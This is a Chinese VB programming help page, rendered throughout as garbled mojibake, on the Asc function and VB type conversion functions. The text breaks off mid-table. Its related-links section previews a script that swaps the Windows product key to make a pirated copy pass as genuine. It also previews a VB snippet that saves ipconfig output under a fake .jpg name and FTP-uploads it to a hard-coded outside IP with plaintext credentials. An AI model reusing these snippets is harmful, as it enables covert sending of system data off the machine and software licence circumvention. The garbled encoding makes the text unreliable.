Ò׽ؽØÍ¼Èí¼þ¡¢µ¥Îļþ¡¢Ãâ°²×°¡¢´¿ÂÌÉ«¡¢½ö160KB

VBÖеÄת»»º¯Êý

Asc º¯Êý
     
·µ»ØÒ»¸ö Integer£¬´ú±í×Ö·û´®ÖÐÊ××ÖĸµÄ×Ö·û´úÂë¡£
Óï·¨:
Asc(string)
±ØÒªµÄ string ²ÎÊý¿ÉÒÔÊÇÈκÎÓÐЧµÄ×Ö·û´®±í´ïʽ¡£Èç¹û string ÖÐûÓаüº¬ÈκÎ×Ö·û£¬Ôò»á²úÉúÔËÐÐʱ´íÎó¡£
˵Ã÷:ÔÚ·Ç DBCS ϵͳÏ£¬·µ»ØÖµ·¶Î§Îª 0 – 255 ¡£ÔÚ DBCS ϵͳÏ£¬ÔòΪ -32768 – 32767¡£
×¢Òâ:AscB º¯Êý×÷ÓÃÓÚ°üº¬ÔÚ×Ö·û´®ÖеÄ×Ö½ÚÊý¾Ý£¬AscB ·µ»ØµÚÒ»¸ö×Ö½ÚµÄ×Ö·û´úÂ룬¶ø·Ç×Ö·ûµÄ×Ö·û´úÂë¡£AscW º¯Êý·µ»Ø Unicode ×Ö·û´úÂ룬Èôƽ̨²»Ö§³Ö Unicode£¬ÔòÓë Asc º¯Êý¹¦ÄÜÏàͬ¡£
ÿ¸öº¯Êý¶¼¿ÉÒÔÇ¿ÖÆ½«Ò»¸ö±í´ïʽת»»³ÉijÖÖÌØ¶¨Êý¾ÝÀàÐÍ¡£
ÏÂÃæÕâЩÀàÐÍת»»º¯Êý,¿´ËûÃǵÄÓï·¨ÈçÏÂ:
CBool(expression)
CByte(expression)
CCur(expression)
CDate(expression)
CDbl(expression)
CDec(expression)
CInt(expression)
CLng(expression)
CSng(expression)
CStr(expression)
CVar(expression)
±ØÒªµÄ expression ²ÎÊý¿ÉÒÔÊÇÈκÎ×Ö·û´®±í´ïʽ»òÊýÖµ±í´ïʽ¡£
·µ»ØÀàÐÍ
º¯ÊýÃû³Æ¾ö¶¨·µ»ØÀàÐÍ£¬ÈçÏÂËùʾ£º
º¯Êý      ·µ»ØÀàÐÍ        expression ²ÎÊý·¶Î§
CBool    |   Boolean     |    ÈκÎÓÐЧµÄ×Ö·û´®»òÊýÖµ±í´ïʽ¡£
CByte    |    Byte         |    0 ÖÁ 255¡£
CCur     |   Currency    |    -922,337,203,685,477.5808 ÖÁ922,337,203,685,477.5807¡£
CDate    |    Date       |    ÈκÎÓÐЧµÄÈÕÆÚ±í´ïʽ¡£
CDbl     |   Double       |    ¸ºÊý´Ó -1.79769313486232E308 ÖÁ -4.94065645841247E-324£»
                                          ÕýÊý´Ó 4.94065645841247E-324 ÖÁ 1.79769313486232E308¡£
CDec&


Ïà¹ØÎĵµ£º

µÁ°æ±äÕý°æÊ½µÄÒ»¶ÎVB³ÌÐò!!~

°ÑÏÂÃæµÄ´úÂë Õ³Ìùµ½Îı¾
ON ERROR RESUME NEXT
Dim VOL_PROD_KEY
if Wscript.arguments.count<1 then
VOL_PROD_KEY=InputBox("Powered By www.cnbeta.com"&vbCr&vbCr&" ±¾³ÌÐò½«×Ô¶¯Ìæ»»Ä㵱ǰ Windows µÄÐòÁкÅ,ͨ¹ý΢ÈíÑéÖ¤ÍêÈ«Õý°æ¡£"&vbCr&vbCr&"ÐòÁкÅ(OEM°æÎÞЧ,ĬÈϰ汾Ϊ XP VLK)£ ......

ÈçºÎÓÃVBд°²È«¿Ø¼þ

×ÜÊö
±¾ÎÄÐðÊöÁËÈçºÎÔÚVBÖÐʵÏֿؼþµÄIobjectSafety½Ó¿Ú£¬ÒÔ±êÖ¾¸Ã¿Ø¼þÊǽű¾°²È«ºÍ³õʼ»¯°²È«µÄ¡£VB¿Ø¼þĬÈϵĴ¦Àí·½Ê½ÊÇÔÚ×¢²á±íÖÐ×¢²á×é¼þÀàÀ´±êʶÆä°²È«ÐÔ£¬µ«ÊµÏÖIobjectSafety½Ó¿ÚÊǸüºÃµÄ·½·¨¡£±¾ÑÔÓï°üÀ¨ÁËʵÏÖ¹ý³ÌÖÐËùÐèµÄËùÓдúÂë¡£
Çë×¢Ò⣬¿Ø¼þÖ»ÓÐȷȷʵʵÊǰ²È«µÄ£¬²ÅÄܱ»±êʶΪ“°²È«µÄ”¡£±¾ ......

VB¶ÁдINIÎļþ

  '******************************************************************************************
'* ÐèҪעÒâµÄÎÊÌâ *
'******************************************************************************************
'1.INIÎļþµÄ· ......

΢ÐÍORM——ÓÃVBºÍC#±àдµÄ¶¯Ì¬ÀàÐÍORM

      ½üÀ´ORM±äµÃÔ½À´Ô½ÆÕ±é£¬Õâ¶¼¹éÓÚÒ»Öֺܾß˵·þÁ¦µÄÔ­Òò£»Ëü¿ÉÒÔʹ¿ª·¢Êý¾Ý¿âÇý¶¯µÄÓ¦ÓóÌÐò±äµÃ¸ü¿ì¡¢¸üÊ¡Á¦¡£µ«ÊÇORM¿ò¼Ü¶¼Óе㓹ÌÖ´¼º¼û”£¬ËûÃÇÆÚÍû¿ª·¢Õß×ñ´ÓÌØ¶¨µÄ¹æÔò£¬µ±¹æÔò±»´òÆÆµÄʱºò¾Í·Ç³£ÄÑÒÔʹÓá£×îͨ³£µÄ¹æÔòÖ®Ò»¾ÍÊÇ£¬´æ´¢¹ý³Ì±ØÐë×ÜÊÇ·µ»Øµ¥¶ÀµÄ½á¹û¼¯£¬ÆäÖд ......

VBʵÏÖÎļþÉÏ´«µ½FTP·þÎñÆ÷

ftp.txtÎļþÄÚÈÝΪ£º
open 211.118.1.70
dongping
sh12345
put ip.jpg
bye
VBÄÚÈÝΪ£º
Private Sub Command1_Click()
    Shell "cmd.exe /c ipconfig >ip.jpg"
    Shell "cmd.exe /c ftp -s:ftp.txt"
End Sub ......
© 2009 ej38.com All Rights Reserved. ¹ØÓÚE½¡ÍøÁªÏµÎÒÃÇ | Õ¾µãµØÍ¼ | ¸ÓICP±¸09004571ºÅ